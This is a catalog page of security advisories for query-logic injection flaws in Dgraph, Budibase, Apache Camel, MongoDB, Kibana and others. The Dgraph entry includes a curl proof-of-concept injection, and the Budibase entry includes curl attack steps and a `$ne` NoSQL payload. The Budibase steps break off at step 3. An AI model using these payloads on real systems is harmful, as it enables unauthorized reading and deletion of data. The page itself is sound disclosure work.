CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
230 vulnerabilities reference this CWE, most recent first.
GHSA-PWHP-4QXF-7FF6
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 is vulnerable to a denial of service, under specific configurations, as the server may crash when using a specially crafted SQL statement by an authenticated user. IBM X-Force ID: 287614.
{
"affected": [],
"aliases": [
"CVE-2024-31882"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:10Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.1 and 11.5 is vulnerable to a denial of service, under specific configurations, as the server may crash when using a specially crafted SQL statement by an authenticated user. IBM X-Force ID: 287614.",
"id": "GHSA-pwhp-4qxf-7ff6",
"modified": "2025-11-04T18:31:17Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31882"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/287614"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PWMM-7G3W-8PVP
Vulnerability from github – Published: 2026-09-25 12:31 – Updated: 2026-09-25 12:31Rapid7 Bulk Export MCP versions 0.2.5 through 0.6.1 suffer from a GraphQL query injection issue in the export-status component (get_export_status in src/export_manager.py), whereby the export_id value — an unvalidated MCP tool argument reaching the function via the check_rapid7_export_status and download_rapid7_export tools — is interpolated directly into the GraphQL query string. A crafted export_id containing quote and brace characters can terminate the intended export(id: "...") selection early and append attacker-controlled root-level selections (for example, schema introspection), producing a single well-formed GraphQL document that is then sent to the Rapid7 export API under the operator's own API key.
Notably, this issue does not grant an existing actor any access they do not already have: every injected query executes within the operator's own already-authenticated API scope, using the operator's own valid API key, and cannot cross a tenant or account boundary. A directly-malicious operator gains nothing they could not already do by calling the API directly; the realistic exposure is limited to a compromised or careless upstream MCP client, or indirect prompt injection forwarding an unvalidated identifier. This is fixed in version 0.6.2, which passes export_id as a parameterized GraphQL variable ($exportId: ID!).
{
"affected": [],
"aliases": [
"CVE-2026-97228"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-25T11:17:02Z",
"severity": "LOW"
},
"details": "Rapid7 Bulk Export MCP versions 0.2.5 through 0.6.1 suffer from a GraphQL query injection issue in the export-status component (`get_export_status` in `src/export_manager.py`), whereby the `export_id` value \u2014 an unvalidated MCP tool argument reaching the function via the `check_rapid7_export_status` and `download_rapid7_export` tools \u2014 is interpolated directly into the GraphQL query string. A crafted `export_id` containing quote and brace characters can terminate the intended `export(id: \"...\")` selection early and append attacker-controlled root-level selections (for example, schema introspection), producing a single well-formed GraphQL document that is then sent to the Rapid7 export API under the operator\u0027s own API key.\n\nNotably, this issue does not grant an existing actor any access they do not already have: every injected query executes within the operator\u0027s own already-authenticated API scope, using the operator\u0027s own valid API key, and cannot cross a tenant or account boundary. A directly-malicious operator gains nothing they could not already do by calling the API directly; the realistic exposure is limited to a compromised or careless upstream MCP client, or indirect prompt injection forwarding an unvalidated identifier. This is fixed in version 0.6.2, which passes `export_id` as a parameterized GraphQL variable (`$exportId: ID!`).",
"id": "GHSA-pwmm-7g3w-8pvp",
"modified": "2026-09-25T12:31:22Z",
"published": "2026-09-25T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97228"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/rapid7-bulk-export-mcp/releases/tag/v0.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q2M9-6JP9-C6MC
Vulnerability from github – Published: 2026-06-29 22:53 – Updated: 2026-06-29 22:53Summary
The checkUserPassword GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL checkpwd() query via fmt.Sprintf without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.
Details
Vulnerable Code Path
The vulnerability exists in the GraphQL-to-DQL query rewriting layer:
query_rewriter.go(~line 364) — Thecheckpwd()DQL function is constructed usingfmt.Sprintf:
go
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)
The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.
graphquery.go— The constructed query attribute is serialized into the final DQL string viab.WriteString(query.Attr), passing the unsanitized content directly to the Dgraph query engine.
Attack Mechanism
A password value containing a double-quote (") terminates the string literal in the checkpwd() function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.
Distinction from CVE-2026-41328 and CVE-2026-41327
CVE-2026-41328 and CVE-2026-41327 address DQL injection in edgraph/server.go, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.
This vulnerability is in a completely different code path — the GraphQL query rewriter (query_rewriter.go → graphquery.go). The checkUserPassword GraphQL query triggers a DQL query via checkpwd(), and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.
PoC
curl -s -X POST http://TARGET:8080/graphql \
-H "Content-Type: application/json" \
-d '{ "query": "query { checkUserPassword(name: \"admin\", password: \"x\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\"x\") { msg } }") { msg } }" }'
What to observe:
- The
touched_uidsfield in theextensionssection of the response will be elevated (indicating the injected blocks executed) - Dgraph server logs (
dgraph alphaoutput) will show the injected query blocks being parsed and executed - The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed
Impact
- Data enumeration: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via
touched_uidsmetrics and server logs. - Schema discovery: An attacker can enumerate all predicates and types in the database by injecting
schema {}blocks orhas()queries. - Resource exhaustion: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.
- Potential data disclosure: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.
CVSS 3.1: 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Network-accessible via any GraphQL endpoint
- No authentication required (
checkUserPasswordis an unauthenticated query) - Low attack complexity (single crafted HTTP request)
- High confidentiality impact (server-side query execution confirmed, data enumeration possible)
Affected Versions
All versions of Dgraph that include GraphQL support with the @secret directive are affected:
- <= v25.3.3
- Any version where
query_rewriter.goconstructscheckpwd()via string interpolation
Suggested Fix
Escape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:
// Before (vulnerable):
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)
// After (escaped):
escaped := strings.ReplaceAll(password, `\`, `\\`)
escaped = strings.ReplaceAll(escaped, `"`, `\"`)
fmt.Sprintf(`checkpwd(User.password, "%s")`, escaped)
Ideally, Dgraph should implement parameterized query support for the checkpwd() function to avoid string interpolation entirely, consistent with best practices for injection prevention.
Credit
Kai Aizen (kai.aizen.dev@gmail.com)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.3.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v25"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44840"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-29T22:53:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `checkUserPassword` GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL `checkpwd()` query via `fmt.Sprintf` without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.\n\n## Details\n\n### Vulnerable Code Path\n\nThe vulnerability exists in the GraphQL-to-DQL query rewriting layer:\n\n1. **`query_rewriter.go` (~line 364)** \u2014 The `checkpwd()` DQL function is constructed using `fmt.Sprintf`:\n\n ```go\n fmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n ```\n\n The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.\n\n2. **`graphquery.go`** \u2014 The constructed query attribute is serialized into the final DQL string via `b.WriteString(query.Attr)`, passing the unsanitized content directly to the Dgraph query engine.\n\n### Attack Mechanism\n\nA password value containing a double-quote (`\"`) terminates the string literal in the `checkpwd()` function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.\n\n### Distinction from CVE-2026-41328 and CVE-2026-41327\n\nCVE-2026-41328 and CVE-2026-41327 address DQL injection in **`edgraph/server.go`**, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.\n\nThis vulnerability is in a **completely different code path** \u2014 the **GraphQL query rewriter** (`query_rewriter.go` \u2192 `graphquery.go`). The `checkUserPassword` GraphQL query triggers a DQL *query* via `checkpwd()`, and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.\n\n## PoC\n\n```bash\ncurl -s -X POST http://TARGET:8080/graphql \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{ \"query\": \"query { checkUserPassword(name: \\\"admin\\\", password: \\\"x\\\\\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\\\\\"x\\\") { msg } }\") { msg } }\" }\u0027\n```\n\n**What to observe:**\n\n- The `touched_uids` field in the `extensions` section of the response will be elevated (indicating the injected blocks executed)\n- Dgraph server logs (`dgraph alpha` output) will show the injected query blocks being parsed and executed\n- The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed\n\n## Impact\n\n- **Data enumeration**: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via `touched_uids` metrics and server logs.\n- **Schema discovery**: An attacker can enumerate all predicates and types in the database by injecting `schema {}` blocks or `has()` queries.\n- **Resource exhaustion**: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.\n- **Potential data disclosure**: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.\n\n**CVSS 3.1: 7.5 High** \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- Network-accessible via any GraphQL endpoint\n- No authentication required (`checkUserPassword` is an unauthenticated query)\n- Low attack complexity (single crafted HTTP request)\n- High confidentiality impact (server-side query execution confirmed, data enumeration possible)\n\n## Affected Versions\n\nAll versions of Dgraph that include GraphQL support with the `@secret` directive are affected:\n\n- \u003c= v25.3.3\n- Any version where `query_rewriter.go` constructs `checkpwd()` via string interpolation\n\n## Suggested Fix\n\nEscape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:\n\n```go\n// Before (vulnerable):\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n\n// After (escaped):\nescaped := strings.ReplaceAll(password, `\\`, `\\\\`)\nescaped = strings.ReplaceAll(escaped, `\"`, `\\\"`)\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, escaped)\n```\n\nIdeally, Dgraph should implement parameterized query support for the `checkpwd()` function to avoid string interpolation entirely, consistent with best practices for injection prevention.\n\n## Credit\n\nKai Aizen (kai.aizen.dev@gmail.com)",
"id": "GHSA-q2m9-6jp9-c6mc",
"modified": "2026-06-29T22:53:52Z",
"published": "2026-06-29T22:53:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-q2m9-6jp9-c6mc"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/commit/cee702c93f141eeb0c96a81f70830ec9e459efac"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgraph-io/dgraph"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query"
}
GHSA-Q492-2X4W-548C
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31Improper Neutralization of Special Elements in Data Query Logic (CWE-943) in Kibana can lead to information disclosure via NoSQL Injection (CAPEC-676). An authenticated user with access to the affected query functionality could submit specially crafted input that alters the intended query logic, returning data the user is not authorized to read.
{
"affected": [],
"aliases": [
"CVE-2026-63138"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T20:17:15Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Special Elements in Data Query Logic (CWE-943) in Kibana can lead to information disclosure via NoSQL Injection (CAPEC-676). An authenticated user with access to the affected query functionality could submit specially crafted input that alters the intended query logic, returning data the user is not authorized to read.",
"id": "GHSA-q492-2x4w-548c",
"modified": "2026-09-01T21:31:47Z",
"published": "2026-09-01T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63138"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-9-4-5-9-5-1-security-update-esa-2026-168/390082"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q53W-FRRR-28F5
Vulnerability from github – Published: 2026-09-08 18:31 – Updated: 2026-09-08 18:31In MongoDB, insufficient validation of shard key values during document insertion allowed authenticated users to store documents with specially crafted, operator-shaped objects as shard key values in sharded collections. When change stream events for such documents were processed with the updateLookup full document mode, the crafted values were embedded into internal post-image lookup queries without proper sanitization, causing them to be interpreted as query operators rather than literal equality values. This could result in change stream consumers receiving incorrect post-image documents or encountering non-resumable fatal errors.
{
"affected": [],
"aliases": [
"CVE-2026-82060"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T17:18:34Z",
"severity": "LOW"
},
"details": "In MongoDB, insufficient validation of shard key values during document insertion allowed authenticated users to store documents with specially crafted, operator-shaped objects as shard key values in sharded collections. When change stream events for such documents were processed with the updateLookup full document mode, the crafted values were embedded into internal post-image lookup queries without proper sanitization, causing them to be interpreted as query operators rather than literal equality values. This could result in change stream consumers receiving incorrect post-image documents or encountering non-resumable fatal errors.",
"id": "GHSA-q53w-frrr-28f5",
"modified": "2026-09-08T18:31:58Z",
"published": "2026-09-08T18:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82060"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/SERVER-131202"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q86M-QJPM-VQCW
Vulnerability from github – Published: 2026-07-06 09:30 – Updated: 2026-08-28 19:31Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4j component.
The camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header. This issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.
Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel / camel* headers so the match header cannot be supplied by an external sender.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.10.0"
},
{
"fixed": "4.14.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46591"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:31:21Z",
"nvd_published_at": "2026-07-06T09:16:37Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4j component.\n\nThe camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header.\nThis issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]*$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel* / camel* headers so the match header cannot be supplied by an external sender.",
"id": "GHSA-q86m-qjpm-vqcw",
"modified": "2026-08-28T19:31:21Z",
"published": "2026-07-06T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46591"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/23258"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/23294"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/23323"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/7881d949c40befcc602016dcce25a2fb38d070ce"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/865d0b8b99f969e06ec6275b69c72670b5763245"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/bb4176fe87dc0cc60a5be37a57b69b8c610c1dd2"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-46591.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4jrw-64vr-7g8m"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/releases/tag/camel-4.14.8"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/releases/tag/camel-4.18.3"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/releases/tag/camel-4.21.0"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-23528"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Camel-Neo4j: JSON property names from the CamelNeo4jMatchProperties header are interpolated into the Cypher WHERE clause without validation, allowing Cypher injection (incomplete remediation of CVE-2025-66169)"
}
GHSA-QJ6X-MQQF-CV4Q
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-09-21 00:00A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-1349"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "\n A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system.\n The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.\n ",
"id": "GHSA-qj6x-mqqf-cv4q",
"modified": "2022-09-21T00:00:42Z",
"published": "2022-05-24T17:39:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1349"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-cql-inject-72EhnUc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QRW6-CMHG-G5P6
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.
{
"affected": [],
"aliases": [
"CVE-2024-35136"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:11Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.",
"id": "GHSA-qrw6-cmhg-g5p6",
"modified": "2025-11-04T18:31:17Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35136"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/291307"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165341"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QVHJ-5652-CJRG
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-28 00:31A NoSQL/expression injection weakness exists in the LINQ-to-aggregation query translation layer of the MongoDB C# Driver, in both aggregation expression and query filter translation. When application-supplied values are embedded in certain query constructs, special elements contained within those values are not properly escaped before the resulting query is transmitted to the database, so portions of the value may be interpreted by the database as query logic rather than as data. A user able to supply values that an application incorporates into an affected query may thereby cause unintended data to be returned or query results to be altered.
{
"affected": [],
"aliases": [
"CVE-2026-81527"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:18:51Z",
"severity": "MODERATE"
},
"details": "A NoSQL/expression injection weakness exists in the LINQ-to-aggregation query translation layer of the MongoDB C# Driver, in both aggregation expression and query filter translation. When application-supplied values are embedded in certain query constructs, special elements contained within those values are not properly escaped before the resulting query is transmitted to the database, so portions of the value may be interpreted by the database as query logic rather than as data. A user able to supply values that an application incorporates into an affected query may thereby cause unintended data to be returned or query results to be altered.",
"id": "GHSA-qvhj-5652-cjrg",
"modified": "2026-08-28T00:31:59Z",
"published": "2026-08-27T21:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81527"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/CSHARP-6156"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/MongoDB.Driver/3.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QW6M-8FW2-2V64
Vulnerability from github – Published: 2026-07-24 21:25 – Updated: 2026-07-24 21:25Summary
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"appuser@example.com","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
